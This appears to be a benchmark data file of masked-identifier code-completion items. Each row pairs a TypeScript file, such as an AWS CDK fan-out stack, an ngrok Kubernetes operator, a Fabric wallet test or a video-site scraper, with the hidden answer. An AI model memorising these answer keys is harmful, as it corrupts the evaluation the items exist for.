	const provider = new anchor.AnchorProvider(
		new web3.Connection( [MASK] ),
		wallet!,
	);
	anchor.setProvider(provider);

	const program = new anchor.Program(idl as EventProtocol, provider);
	const [master] = web3.PublicKey.findProgramAddressSync(
		[Buffer.from(""master"")],
		program.programId,
	);
	return { program, provider, wallet, masterProgramAddress: master };
};
",endpoint
290,"/*
 * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"").
 * You may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *    http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

import {Aws, CfnOutput, Duration, RemovalPolicy, Stack, StackProps} from 'aws-cdk-lib';
import {Construct} from 'constructs';
import {LogGroup} from ""aws-cdk-lib/aws-logs"";
import {HttpApi, HttpConnectionType} from ""@aws-cdk/aws-apigatewayv2-alpha"";
import {CfnIntegration, CfnRoute, CfnStage} from ""aws-cdk-lib/aws-apigatewayv2"";
import {Stream, StreamEncryption} from ""aws-cdk-lib/aws-kinesis"";
import {Role, ServicePrincipal} from ""aws-cdk-lib/aws-iam"";
import {NodejsFunction} from ""aws-cdk-lib/aws-lambda-nodejs"";
import {CfnEventSourceMapping, EventSourceMapping, Runtime, StartingPosition, Tracing} from ""aws-cdk-lib/aws-lambda"";
import {KinesisEventSource} from ""aws-cdk-lib/aws-lambda-event-sources"";
import * as path from ""path"";
import {AttributeType, BillingMode, Table, TableEncryption} from ""aws-cdk-lib/aws-dynamodb"";
import {
    Dashboard,
    LogQueryVisualizationType,
    LogQueryWidget,
    PeriodOverride,
    SingleValueWidget
} from ""aws-cdk-lib/aws-cloudwatch"";
import {NagSuppressions} from ""cdk-nag"";

;

// import * as sqs from 'aws-cdk-lib/aws-sqs';

export class Stacks extends Stack {
    constructor(scope: Construct, id: string, props?: StackProps) {
        super(scope, id, props);
        const dashboard = new Dashboard(this, ""dashboard"", {
            dashboardName: ""AwsLambdaFanout"",
            periodOverride: PeriodOverride.AUTO

        })

        const api = new HttpApi(this, ""aws-lambda-fanout-api"", {
            apiName: `aws-lambda-fanout-api`,
            createDefaultStage: true,

        })

        const apiLogGroup = new LogGroup(this, ""aws-lambda-fanout-api-log-group"", {
            logGroupName: `/poc/aws-lambda-fanout/api`,
            removalPolicy: RemovalPolicy.DESTROY

        })
        const defaultStage = api.defaultStage?.node.defaultChild as CfnStage
        defaultStage.accessLogSettings = {
            destinationArn: apiLogGroup.logGroupArn,
            format: JSON.stringify({
                ""requestId"": ""$context.requestId"",
                ""ip"": ""$context.identity.sourceIp"",
                ""caller"": ""$context.identity.caller"",
                ""user"": ""$context.identity.user"",
                ""requestTime"": ""$context.requestTime"",
                ""httpMethod"": ""$context.httpMethod"",
                ""resourcePath"": ""$context.resourcePath"",
                ""status"": ""$context.status"",
                ""protocol"": ""$context.protocol"",
                ""responseLength"": ""$context.responseLength""
            })
        }

        const apiGatewayRole = new Role(this, 'api-gateway-role', {
            assumedBy: new ServicePrincipal('apigateway.amazonaws.com')
        });

        const inStream = new Stream(this, 'InStream', {
            encryption: StreamEncryption.MANAGED
        });

        const integration = new CfnIntegration(this, ""kinesis-integration"", {
            apiId: api.apiId,
            connectionType: HttpConnectionType.INTERNET.toString(),
            integrationSubtype: ""Kinesis-PutRecord"",
            integrationType: ""AWS_PROXY"",
            payloadFormatVersion: ""1.0"",
            requestParameters: {
                StreamName: inStream.streamName,
                Data: ""$request.body"",
                PartitionKey: ""$request.path.partitionKey""
            },
            credentialsArn: apiGatewayRole.roleArn,

        })

        const route = new CfnRoute(this, ""kinesis-route"", {
            apiId: api.apiId,
            routeKey: ""POST /record/{partitionKey}"",
            target: `integrations/${integration.ref}`
        })
        route.addDependsOn(integration)
        const outStream = new Stream(this, 'OutStream', {
            encryption: StreamEncryption.MANAGED
        });
        const fanOutLambda = new NodejsFunction(this, ""fanout-function"", {
            memorySize: 256,
            timeout: Duration.seconds(5),
            runtime: Runtime.NODEJS_14_X,
            handler: ""lambdaHandler"",
            entry: path.join(__dirname, `/../runtime/fanout.ts`),
            environment: {
                ""STREAM_NAME"": outStream.streamName
            },
            tracing: Tracing.ACTIVE

        });
        const table = new Table(this, ""downstream-table"", {
            billingMode: BillingMode.PAY_PER_REQUEST,
            encryption: TableEncryption.AWS_MANAGED,
            partitionKey: {
                name: ""id"",
                type: AttributeType.STRING
            },
            sortKey: {
                name: ""partition"",
                type: AttributeType.STRING
            },
            pointInTimeRecovery: true
        })

        const downstreamLambda = new NodejsFunction(this, ""downstream-function"", {
            memorySize: 256,
            timeout: Duration.seconds(5),
            runtime: Runtime.NODEJS_14_X,
            handler: ""lambdaHandler"",
            entry: path.join(__dirname, `/../runtime/downstream.ts`),
            environment: {
                ""TABLE_NAME"": table.tableName
            },
            tracing: Tracing.ACTIVE

        });

        fanOutLambda.addEventSource(new KinesisEventSource(inStream, {
            batchSize: 10,

            retryAttempts: 3,

            startingPosition: StartingPosition.LATEST
        }))
        const downstreamEventSource=new EventSourceMapping(this,""outstreamMapping"",{
            eventSourceArn: outStream.streamArn,
            target: downstreamLambda,
            bisectBatchOnError: false,
            enabled: true,
            batchSize: 10,
            retryAttempts: 3,
            startingPosition: StartingPosition.LATEST,
        })


        const cfnDownstreamEventSource=downstreamEventSource.node.defaultChild as CfnEventSourceMapping
        cfnDownstreamEventSource.addPropertyOverride('FilterCriteria', {
            ""Filters"": [
                {
                    ""Pattern"": ""{  \""partitionKey\"":  [ {\""prefix\"": \""1_\""},\""CHAT\"",\""RAISE_HAND\""] }""
                }
            ]
        })
        inStream.grantRead(fanOutLambda)
        inStream.grantWrite(apiGatewayRole)
        outStream.grantWrite(fanOutLambda)
        outStream.grantRead(downstreamLambda)
        table.grantWriteData(downstreamLambda)

        const kinesisWidget = new SingleValueWidget({
            height: 13,
            width: 12,
            title: ""Kinesis"",
            region: Aws.REGION,
            metrics: [
                inStream.metricIncomingRecords({
                    label: ""InStream - IncomingRecords"",
                    period: Duration.seconds(900),
                    region: Aws.REGION,
                    statistic: ""Sum"",

                }),
                outStream.metricIncomingRecords({
                    label: ""OutStream - IncomingRecords"",
                    period: Duration.seconds(900),
                    region: Aws.REGION,
                    statistic: ""Sum"",

                })
            ]

        })
        const fanoutLambdaWidget = new SingleValueWidget({
            height: 13,
            width: 12,
            title: ""Fanout Lambda"",
            region: Aws.REGION,
            metrics: [
                fanOutLambda.metricInvocations({
                    label: ""Invocations"",
                    period: Duration.seconds(900),
                    region: Aws.REGION,
                    statistic: ""Sum"",

                }),
                fanOutLambda.metricErrors({
                    label: ""Errors"",
                    period: Duration.seconds(900),
                    region: Aws.REGION,
                    statistic: ""Sum"",

                }),
                fanOutLambda.metricThrottles({
                    label: ""Throttles"",
                    period: Duration.seconds(900),
                    region: Aws.REGION,
                    statistic: ""Sum"",

                }),
            ]

        })
        const  [MASK]  = new SingleValueWidget({
            height: 13,
            width: 12,
            title: ""Downstream Lambda"",
            region: Aws.REGION,
            metrics: [
                downstreamLambda.metricInvocations({
                    label: ""Invocations"",
                    period: Duration.seconds(900),
                    region: Aws.REGION,
                    statistic: ""Sum"",

                }),
                downstreamLambda.metricErrors({
                    label: ""Errors"",
                    period: Duration.seconds(900),
                    region: Aws.REGION,
                    statistic: ""Sum"",

                }),
                downstreamLambda.metricThrottles({
                    label: ""Throttles"",
                    period: Duration.seconds(900),
                    region: Aws.REGION,
                    statistic: ""Sum"",

                }),
            ]

        })
        const fanoutLogsQuery = new LogQueryWidget({
            logGroupNames: [fanOutLambda.logGroup.logGroupName],
            height: 3,
            width: 12,
            region: Aws.REGION,
            queryString: ""filter @message like /Fanout success/ | stats count(*) as Count"",
            title: ""Fanout Lambda Success Count"",
            view: LogQueryVisualizationType.TABLE
        })
        const downstreamLogsQuery = new LogQueryWidget({
            logGroupNames: [downstreamLambda.logGroup.logGroupName],
            height: 3,
            width: 12,
            region: Aws.REGION,
            queryString: ""filter @message like /Downstream response/ | stats count(*) as Count"",
            title: ""Downstream Lambda Success Count"",
            view: LogQueryVisualizationType.TABLE
        })

        dashboard.addWidgets(kinesisWidget, fanoutLambdaWidget,  [MASK] , fanoutLogsQuery, downstreamLogsQuery)
        new CfnOutput(this, ""record-url"", {
            value: `${api.apiEndpoint}/record`,
            description: ""The api endpoint to send records to"",
        })
        new CfnOutput(this, ""outstream-name"", {
            value: outStream.streamName,
            description: ""The name of the kinesis output stream. Point the KPL sample client at this stream"",
        })
        //CDK Nag Suppressions
        NagSuppressions.addResourceSuppressionsByPath(this,""/AwsLambdaFanoutStack/api-gateway-role/DefaultPolicy/Resource"",[{ id: ""AwsSolutions-IAM5"", reason: ""Following directions here https://docs.aws.amazon.com/apigateway/latest/developerguide/integrating-api-with-aws-services-kinesis.html"" }])
        NagSuppressions.addResourceSuppressionsByPath(this,""/AwsLambdaFanoutStack/fanout-function/ServiceRole/Resource"",[{ id: ""AwsSolutions-IAM4"", reason: ""I'm ok using managed policies for this example"" }])
        NagSuppressions.addResourceSuppressionsByPath(this,""/AwsLambdaFanoutStack/fanout-function/ServiceRole/DefaultPolicy/Resource"",[{ id: ""AwsSolutions-IAM5"", reason: ""Wildcard is for xray support"" }])
        NagSuppressions.addResourceSuppressionsByPath(this,""/AwsLambdaFanoutStack/downstream-function/ServiceRole/Resource"",[{ id: ""AwsSolutions-IAM4"", reason: ""I'm ok using managed policies for this example"" }])
        NagSuppressions.addResourceSuppressionsByPath(this,""AwsLambdaFanoutStack/downstream-function/ServiceRole/DefaultPolicy/Resource"",[{ id: ""AwsSolutions-IAM5"", reason: ""Wildcard is for xray support"" }])
        NagSuppressions.addResourceSuppressionsByPath(this,""/AwsLambdaFanoutStack/LogRetentionaae0aa3c5b4d4f87b02d85b201efdd8a/ServiceRole/Resource"",[{ id: ""AwsSolutions-IAM4"", reason: ""I'm ok using managed policies for this example"" }])
        NagSuppressions.addResourceSuppressionsByPath(this,""/AwsLambdaFanoutStack/LogRetentionaae0aa3c5b4d4f87b02d85b201efdd8a/ServiceRole/DefaultPolicy/Resource"",[{ id: ""AwsSolutions-IAM5"", reason: ""Wildcard is for log rentetion support"" }])
        NagSuppressions.addResourceSuppressionsByPath(this,""/AwsLambdaFanoutStack/kinesis-route"",[{ id: ""AwsSolutions-APIG4"", reason: ""I'm ok with no api authorization for this example"" }])
    }

}


",downstreamLambdaWidget
291,"/**
 * SPDX-License-Identifier: Apache-2.0
 */

import * as WalletMigration from ""fabric-wallet-migration"";
import { Wallet, Wallets, X509Identity } from ""fabric-network"";

import { promises as fs } from ""node:fs"";
import * as os from ""node:os"";
import * as path from ""node:path"";

const oldWalletPath = path.resolve(__dirname, "".."", "".."", ""fixtures"", ""wallet-v1"");

describe(""Wallet migration"", () => {
    let newWalletPath: string;
    let oldWallet: Wallet;
    let newWallet: Wallet;

    async function createTempDir(): Promise<string> {
        const prefix = path.join(os.tmpdir(), path.sep);
        return await fs.mkdtemp(prefix);
    }

    async function migrate(oldWallet: Wallet, newWallet: Wallet): Promise<string[]> {
        const migratedLabels: string[] = [];
        const identityLabels = await oldWallet.list();
        for (const label of identityLabels) {
            const identity = await oldWallet.get(label);
            if (identity) {
                await newWallet.put(label, identity);
                migratedLabels.push(label);
            }
        }

        return migratedLabels;
    }

    async function getAll(wallet: Wallet): Promise<Map<string, X509Identity>> {
        const identities = new Map<string, X509Identity>();

        const labels = await wallet.list();
        for (const label of labels) {
            const identity = await wallet.get(label);
            if (identity) {
                identities.set(label, identity as X509Identity);
            }
        }

        return identities;
    }

    beforeAll(async () => {
        const walletStore = await WalletMigration.newFileSystemWalletStoreV1(oldWalletPath);
        oldWallet = new Wallet(walletStore);

        newWalletPath = await createTempDir();
        newWallet = await Wallets.newFileSystemWallet(newWalletPath);

        await migrate(oldWallet, newWallet);
    });

    afterAll(async () => {
        await fs.rm(newWalletPath, { recursive: true, force: true });
    });

    it(""has expected labels"", async () => {
        const labels = await newWallet.list();
        expect(labels).toEqual([""user1"", ""user2""]);
    });

    it(""contains X.509 identities"", async () => {
        const identities = await getAll(newWallet);
        identities.forEach((identity) => {
            expect(identity.type).toEqual(""X.509"");
        });
    });

    it(""identities have matching certificates"", async () => {
        const identities = await getAll(newWallet);
        identities.forEach((identity) => {
            expect(identity.credentials.certificate).toMatch(/.+/);
        });
    });

    it(""identities have non-empty private keys"", async () => {
        const identities = await getAll(newWallet);
        identities.forEach((identity) => {
            expect(identity.credentials.privateKey).toMatch(/.+/);
        });
    });

    it(""identities match"", async () => {
        const oldIdentities = await getAll(oldWallet);
        const newIdentities = await getAll(newWallet);

        oldIdentities.forEach(( [MASK] , label) => {
            const newIdentity = newIdentities.get(label);
            expect(newIdentity).toEqual( [MASK] );
        });
    });
});
",oldIdentity
292,"import { ModuleObserver } from './bus';
import { ModuleAction } from './models';
import { ModuleEvents, appKey } from './events';
import { Container } from './container-abstract';

export class Orchestrator<T> extends ModuleObserver {
  private bindTypeContainer = new Map();
  private shippedContainersLabel = new Map();
  private shippedContainers = new Set<any>();
  private logger = console;

  constructor(id: string = 'Orchestrator') {
    super(id);
  }

  public async notification(event: string, emitter: string, action: ModuleAction) {
    this.logger.info({ msg: `${emitter}: ${action.message}` });
    switch (event) {
      case `${appKey}.${ModuleEvents.closeAll}`:
        await this.closeShipping();
        break;
      default:
        this.logger.debug({
          message: `the event ${event} by the ${emitter} is emitted and there is no action to handle it`,
        });
        break;
    }
  }

  public labelContainer(map: T) {
    for (const [label, container] of Object.entries(map)) {
      this.bindTypeContainer.set(label, container);
    }
  }

  public async shipContainers() {
    for (const [type, container] of this.bindTypeContainer) {
      if (!this.shippedContainersLabel.get(type)) {
        try {
          await this.prepareContainer(type, container);
          this.logger.info({
            msg: `shipped container: ${container.id || container.name}`,
          });
        } catch (error) {
          this.logger.error({
            error: `can't ship container: ${container.id || container.name}`,
            stck: error,
          });
        }
      }
    }
  }

  private async prepareContainer(type: string, container: any) {
    const iContainer = new container();
    if (iContainer.dependencyTypes) {
      const start = iContainer.start(await this.constructDep(iContainer.dependencyTypes));
      if (start instanceof Promise) {
        await start;
      }
    } else {
      if (iContainer.start) {
        const start = iContainer.start();
        if (start instanceof Promise) {
          await start;
        }
      }
    }
    this.shippedContainers.add(iContainer);
    this.shippedContainersLabel.set(type, iContainer);
  }

  private async constructDep( [MASK] : string[]) {
    const injectedDependencies: {
      [key: string]: Container<any, any>;
    } = {};
    for (const dependency of  [MASK] ) {
      if (!this.shippedContainersLabel.get(dependency)) {
        await this.prepareContainer(dependency, this.bindTypeContainer.get(dependency));
      }
      injectedDependencies[dependency] = this.shippedContainersLabel.get(dependency);
    }
    return injectedDependencies;
  }

  public async closeShipping() {
    for (const container of this.shippedContainers) {
      if (container.close) {
        try {
          const close = container.close();
          if (close instanceof Promise) {
            await close;
          }
          this.logger.info({
            msg: `closed container: ${container.id || container.name}`,
          });
        } catch (error) {
          this.logger.error({
            error: `can't close container: ${container.id || container.name}`,
            stck: error,
          });
        }
      } else {
        this.logger.info({
          msg: `no close policy at container: ${container.id || container.name}`,
        });
      }
    }
  }

  public findContainer(label: string) {
    if (this.shippedContainersLabel.get(label)) {
      return this.shippedContainersLabel.get(label);
    } else {
      throw new Error(`Container ${label} is not ready yet`);
    }
  }
}
",dependencies
293,"import { Logger } from ""log4js"";
import Operator, { ResourceEventType, ResourceEvent, ResourceMeta, ResourceMetaImpl } from '@dot-i/k8s-operator';
import { setIntervalAsync, SetIntervalAsyncTimer } from 'set-interval-async/fixed';
import * as k8s from '@kubernetes/client-node';
import {Mutex} from 'async-mutex';
import * as ngrok from 'ngrok';

const annotation = 'vasu1124/ngrok';
const mutex = new Mutex();

interface ngrokConnection {
  url: string;
  target: string;
  name: string | undefined;
  namespace: string | undefined;
}

export default class NgrokController extends Operator {

  ngrokMap: Map<string | undefined, ngrokConnection> = new Map<string, ngrokConnection>();
  reconcileTimer: SetIntervalAsyncTimer<[]>;

  constructor(protected log: Logger,  [MASK] : number) {
    super(log);
    // Inittialize timer
    this.reconcileTimer = setIntervalAsync(async () => {
      this.log.debug(""reconcileTimer: Running reconcile from timer"");
      await this.reconcile();
    },  [MASK] );
  }

  protected async init() {

    await this.watchResource('', 'v1', 'services', async (e) => {
      const object: k8s.V1Service = e.object;

      this.log.debug(""received event ..."", e.type);

      switch (e.type) {
        case ResourceEventType.Added:
        case ResourceEventType.Modified:
          this.handleCreateOrUpdateResource(object);
          break;
        case ResourceEventType.Deleted:
          this.handleDeleteResource(object);
          break;
      }

    });
  }

  private async reconcile() {
    this.log.debug(""reconciling ..."");
    const { response, body } = await this.k8sApi.listServiceForAllNamespaces();
    //any changes missed?
    body.items.forEach(object => this.handleCreateOrUpdateResource(object));

    //any deletions missed?
    this.ngrokMap.forEach( (value, key) => {
      const service2delete = body.items.filter(object => object.metadata?.uid === key)
      //key in active ngrokMap, but no service object
      if(service2delete.length === 0)
        this.handleDeleteResource({ ""metadata"": { ""uid"": key, ""name"": value.name, ""namespace"": value.namespace }});
    });    
  }

  private async handleDeleteResource(object: k8s.V1Service): Promise<void> {
    if (!this.ngrokMap.has(object.metadata?.uid)) {
      this.log.warn(""No active Ngrok for this service "" + object.metadata?.uid);
      return;
    }

    const uid = object.metadata?.uid;
    await this.disconnectNgrok(uid, this.ngrokMap.get(object.metadata?.uid));
  }

  private handleCreateOrUpdateResource(object: k8s.V1Service): void {
    let uid = object.metadata?.uid;
    if (this.ngrokMap.has(uid)) {
      //already exists
      if (object.spec?.type === ""LoadBalancer"") {
        //modified?
        let target = this.resolveTarget(object);
        if (this.ngrokMap.get(uid)?.target !== target) {
          //changes required
          this.disconnectNgrok(uid, this.ngrokMap.get(object.metadata?.uid))
            .then(() => {
              return this.connectNgrok(uid, {url: """", target: target, name: object.metadata?.name, namespace: object.metadata?.namespace});
            })
            .then((url) => {
              if (url !== undefined) {
                let rmeta = ResourceMetaImpl.createWithPlural(""services"", object);
                let hostname = url.replace(""https://"", """");
                let statusPatch = { ""loadBalancer"": { ""ingress"": [{ ""hostname"": hostname }] } };
                return this.patchResourceStatus(rmeta, statusPatch);
              }
            })
            .then((rmeta) => {
              this.log.info(""Service status patched: "" + object.metadata?.name + ""."" + object.metadata?.namespace);
            });
        }
        else
          this.log.debug(""Already Ngroked!"");
      }
      else {
        //modified: remove ngrok
        this.disconnectNgrok(uid, this.ngrokMap.get(object.metadata?.uid))
          .then(() => {
            let rmeta = ResourceMetaImpl.createWithPlural(""services"", object);
            let statusPatch = { ""loadBalancer"": { ""ingress"": [{ ""hostname"": ""not.available"" }] } };
            return this.patchResourceStatus(rmeta, statusPatch);
          })
          .then((rmeta) => {
            this.log.info(""Service status disconnected: "" + object.metadata?.name + ""."" + object.metadata?.namespace);
          });
      }
    }
    else if (object.spec?.type === ""LoadBalancer"") {
      //added
      let target = this.resolveTarget(object);
      this.connectNgrok(uid, {url: """", target: target, name: object.metadata?.name, namespace: object.metadata?.namespace})
        .then((url) => {
          if (url !== undefined) {
            let rmeta = ResourceMetaImpl.createWithPlural(""services"", object);
            let hostname = url.replace(""https://"", """");
            let statusPatch = { ""loadBalancer"": { ""ingress"": [{ ""hostname"": hostname }] } };
            return this.patchResourceStatus(rmeta, statusPatch);
          }
        })
        .then((rmeta) => {
          this.log.info(""Service status patched: "" + object.metadata?.name + ""."" + object.metadata?.namespace);
        });
    }
  }

  private async disconnectNgrok(uid: string | undefined, nc: ngrokConnection | undefined): Promise<void> {
    // ngrok.disconnect() path needs to be safeguarded with a mutex
    this.ngrokMap.delete(uid);
    const release = await mutex.acquire();
    if (nc !== undefined)
      try {
        //must disconnect two urls: https and http.
        await ngrok.disconnect(nc.url);
        await ngrok.disconnect(nc.url?.replace(""https"", ""http""));
        this.log.info(`Ungroked: ${nc.name}.${nc.namespace} disconnected from ${nc.url}`);
      }
      catch (error) {
        this.log.error(error);
        await ngrok.kill();
        this.ngrokMap.clear();
      }
      finally {
        release();
      }
  }

  private async connectNgrok(uid: string | undefined, nc: ngrokConnection): Promise<string | undefined> {
    // ngrok.connect() path needs to be safeguarded with a mutex
    const release = await mutex.acquire();
    try {
      nc.url = await ngrok.connect({
        proto: 'http',
        addr: nc.target,
        onLogEvent: msg => { this.log.debug(msg) },
        onStatusChange: status => { this.log.warn(status) },
      });
      
      this.ngrokMap.set(uid, nc);
      this.log.info(`Ngroked: ${nc.name}.${nc.namespace}/${nc.target} connected to ${nc.url}`);
      return nc.url;
    }
    catch (error) {
      this.log.error(error);
      await ngrok.kill();
      this.ngrokMap.clear();
    }
    finally {
      release();
    }
    return undefined;
  }

  private resolveTarget(object: k8s.V1Service): string {
    let port = 8080
    let portname: string | undefined;

    //annotations exist?
    if (object.metadata!.annotations === undefined)
      portname = undefined;
    else
      portname = object.metadata!.annotations![annotation];

    if (portname !== undefined) {
      //annotation exists
      const portobj = object.spec!.ports!.filter(object => object.name === portname);

      //portmap refernce exists?
      if (portobj !== undefined && portobj.length >= 1) {
        this.log.debug(`Annotation '${annotation}' found. Choosing first portmap: `, portobj[0]);
        port = portobj[0].port;
      }
      else {
        portname = undefined;
        this.log.warn(`Annotation '${annotation}' not found.`);
      }
    }

    if (portname === undefined &&
      object.spec!.ports !== undefined && object.spec!.ports.length >= 1) {
      port = object.spec!.ports[0].port;
      this.log.debug(""Defaulting to portmap: "", object.spec!.ports[0]);
    }
    else if (portname === undefined) {
      this.log.warn(""Could not associate any port. Defaulting to "" + port);
    }

    return object.spec!.clusterIP + "":"" + port;
  }
}",reconcileInterval
294,"import { DramaList } from '../../entity/HomepageData';
import HomepageData from '../../entity/HomepageData';
import Logger from '../../utils/Logger';
import EpisodeInfo from '../../entity/EpisodeInfo';
import VideoInfo from '../../entity/VideoInfo';
import EpisodeList from '../../entity/EpisodeList';
import VideoDetailInfo from '../../entity/VideoDetailInfo';
import HttpUtils from '../../utils/HttpUtils';
import DataSource from '../DataSource';
import { select, selectAttributeValue, selectFirst, selectTextContent, textContent } from '../../thirdpart/htmlsoup';

const BASE_URL = 'http://www.yinghuavideo.com/'

/**
 * 樱花动漫 (http://www.yinghuavideo.com) 视频源
 */
export default class YingHuaDataSource implements DataSource {

    getKey(): string {
        return 'key_yinghuavideo'
    }

    async search( [MASK] : string, page: number): Promise<VideoInfo[]> {
        let url = BASE_URL + ""search/"" + encodeURIComponent( [MASK] ) + ""/?page="" + page

        let videos: VideoInfo[] = []
        let doc = await HttpUtils.getHtml(url)
        const list = select(doc, 'div.fire > div > ul > li')
        list.forEach((li) => {
            let a = selectFirst(li, ""a"")
            let img = selectFirst(li, 'img')
            videos.push({
                sourceKey: this.getKey(),
                url: 'http://www.yinghuavideo.com' + a.attr('href'),
                imgUrl: img.attr('src'),
                title: img.attr('alt'),
                episode: selectTextContent(li, 'span:nth-child(3) > font')
            })
        })
        return videos
    }

    async getHomepageData(): Promise<HomepageData> {
        let url = BASE_URL
        const doc = await HttpUtils.getHtml(url)
        const bannerList: VideoInfo[] = []
        const categoryList: DramaList[] = []
        const lis = select(doc, 'div.hero-wrap > ul.heros > li')
        lis.forEach((li) => {
            const a = selectFirst(li, ""a"")
            const img = selectFirst(li, 'img')
            bannerList.push({
                sourceKey: this.getKey(),
                url: 'http://www.yinghuavideo.com' + a.attr('href'),
                imgUrl: img.attr('src'),
                title: a.attr('title'),
                episode: selectTextContent(li, 'em')
            })
        })

        const titles = select(doc, 'div.firs > div.dtit')
        const videoList = select(doc, 'div.firs > div.img')

        const count = Math.min(titles.length, videoList.length)
        for (let i = 0; i < count; i++) {
            const title = titles[i]
            const list = videoList[i]
            const videos: VideoInfo[] = []
            const lis = select(list, 'ul > li')
            lis.forEach((li) => {
                let a = selectFirst(li, ""a"")
                let img = selectFirst(li, 'img')
                videos.push({
                    sourceKey: this.getKey(),
                    url: 'http://www.yinghuavideo.com' + a.attr('href'),
                    imgUrl: img.attr('src'),
                    title: selectTextContent(li, 'p.tname > a'),
                    episode: selectTextContent(li, 'p:nth-child(3) > a')
                })
            })

            categoryList.push({
                title: selectTextContent(title, ""h2 > a""),
                moreUrl: BASE_URL + selectAttributeValue(title, 'span > a', 'href'),
                videoList: videos
            })
        }
        return {
            bannerList: bannerList,
            categoryList: categoryList
        }
    }

    async getVideoList(page: number): Promise<VideoInfo[]> {
        let url = ""http://www.bimiacg4.net/type/riman-"" + page
        let doc = await HttpUtils.getHtml(url)
        let drama = selectFirst(doc, 'ul.drama-module')
        return this.parseVideoList(drama)
    }

    private async parseVideoList(drama): Promise<VideoInfo[]> {
        //        let drama = selectFirst(doc, 'ul.drama-module')
        Logger.e(this, 'parseHtml drama=' + drama)
        let elements = select(drama, 'li')
        Logger.e(this, 'parseHtml elements=' + elements)
        let videoList: VideoInfo[] = []

        // TODO 代码优化
        elements.forEach((el) => {
            Logger.e(this, ""parseHtml el="" + el)
            let a = selectFirst(el, ""div.info > a"")
            videoList.push({
                sourceKey: this.getKey(),
                url: ""http://www.bimiacg4.net"" + a.attr('href'),
                imgUrl: selectAttributeValue(el, 'img', 'src'),
                title: textContent(a),
                episode: selectTextContent(el, ""div.info > p > span.fl"")
            })
        })
        return videoList
    }

    async getVideoDetailInfo(url: string): Promise<VideoDetailInfo> {
        let doc = await HttpUtils.getHtml(url);

        Logger.e(this, 'getVideoDetailInfo 1')

        let title = selectTextContent(doc, 'div.fire > div.rate > h1')

        Logger.e(this, 'getVideoDetailInfo title=' + title)

        let recommends: VideoInfo[] = []
        let list = select(doc, 'div.sido > div.pics > ul > li')
        list.forEach((li) => {
            let a = selectFirst(li, ""a"")
            let img = selectFirst(li, 'img')
            recommends.push({
                sourceKey: this.getKey(),
                url: 'http://www.yinghuavideo.com' + a.attr('href'),
                imgUrl: img.attr('src'),
                title: img.attr('alt'),
                episode: selectTextContent(li, 'span:nth-child(3) > font')
            })
        })

        let episodes: EpisodeList[] = []
        let lis = select(doc, '#main0 > div > ul > li')
        Logger.e(this, 'getVideoDetailInfo lis.len=' + lis.length)
        let episodeList: EpisodeList = {
            title: ""路线0"",
            episodes: []
        }
        lis.reverse().forEach((li) => {
            const a = selectFirst(li, 'a')
            let info: EpisodeInfo = {
                link: 'http://www.yinghuavideo.com' + a.attr('href'),
                title: textContent(a),
                desc: title + ' ' + textContent(a)
            }
            Logger.e(this, 'getEpisodes info=' + JSON.stringify(info))
            episodeList.episodes.push(info)
        })
        episodes.push(episodeList)

        let info: VideoDetailInfo = {
            sourceKey: this.getKey(),
            title: title,
            url: url,
            desc: selectTextContent(doc, ""div.fire > div.info"").trim(),
            coverUrl: selectAttributeValue(doc, ""div.fire > div.thumb > img"", 'src'),
            category: selectTextContent(doc, 'div.fire > div.rate > div.sinfo > span:nth-child(3) > a'),
            director: '',
            updateTime: '',
            protagonist: '',
            episodes: episodes,
            recommends: recommends
        }
        return info
    }

    async parseVideoUrl(link: string): Promise<string> {
        Logger.e(this, 'parseVideoUrl link=' + link)
        const doc = await HttpUtils.getHtml(link)

        let url = selectAttributeValue(doc, 'a#play_1', 'onclick')
        Logger.e(this, 'parseVideoUrl old url=' + url)
        if (url) {
            url = url.substring(url.indexOf('\'') + 1, url.lastIndexOf('\''))
            const i = url.indexOf('$')
            if (i >= 0) {
                url = url.substring(0, i)
            }
        }
        Logger.e(this, 'parseVideoUrl url=' + url)
        return url;
    }
}",keyword
295,"import * as os from ""os"";
import * as path from ""path"";
import * as fs from ""fs"";

import * as cache from ""@actions/cache"";
import * as core from ""@actions/core"";
import * as tc from ""@actions/tool-cache"";
import { GitHub, getOctokitOptions } from ""@actions/github/lib/utils"";
import { throttling } from ""@octokit/plugin-throttling"";

const ThrottlingOctokit = GitHub.plugin(throttling);

interface ToolInfo {
    owner: string;
    project: string;
    tag: string;
    osPlatform: string;
    osArch: string;
}

async function run() {
    try {

        // set up auth/environment
        const token = process.env['GITHUB_TOKEN'] || core.getInput(""token"")
        const octokit = new ThrottlingOctokit({
            throttle: {
                onRateLimit: (retryAfter, options) => {
                    core.warning(
                        `RateLimit detected for request ${options.method} ${options.url}.`
                    );
                    core.info(`Retrying after ${retryAfter} seconds.`);
                    return true;
                },
                onSecondaryRateLimit: (retryAfter, options) => {
                    core.warning(
                        `SecondaryRateLimit detected for request ${options.method} ${options.url}.`
                    );
                    core.info(`Retrying after ${retryAfter} seconds.`);
                    return true;
                },
            },
            ...getOctokitOptions(token),
        })

        const repo = core.getInput(""repo"");
        if (!repo) {
            throw new Error(
                `Repo was not specified`
            )
        }

        let tag = core.getInput(""tag"");
        tag = !tag ? ""latest"" : tag

        const cacheEnabled = (core.getInput(""cache"") === ""enable"")
            && tag !== ""latest""
            && tag !== """";

        const [owner, project] = repo.split(""/"")

        let osMatch: string[] = []

        // Determine Platform
        let osPlatform = core.getInput(""platform"");
        if (osPlatform === """") {
            switch (os.platform()) {
                case ""linux"":
                    osPlatform = ""linux"";
                    break;
                case ""darwin"":
                    osPlatform = ""darwin"";
                    break;
                case ""win32"":
                    osPlatform = ""windows"";
                    break;
                default:
                    core.setFailed(""Unsupported operating system - $this action is only released for Darwin, Linux and Windows"");
                    return;
            }
        }
        osMatch.push(osPlatform)
        core.info(`==> System reported platform: ${os.platform()}`)
        core.info(`==> Using platform: ${osPlatform}`)

        // Determine Architecture
        let osArch = core.getInput(""arch"");
        if (osArch === """") {
            osArch = os.arch()
            switch (os.arch()) {
                case ""x64"":
                    osMatch.push(""x86_64"", ""x64"", ""amd64"")
                    break;
                default:
                    osMatch.push(os.arch())
                    return;
            }
        } else {
            osMatch.push(osArch)
        }
        core.info(`==> System reported arch: ${os.arch()}`)
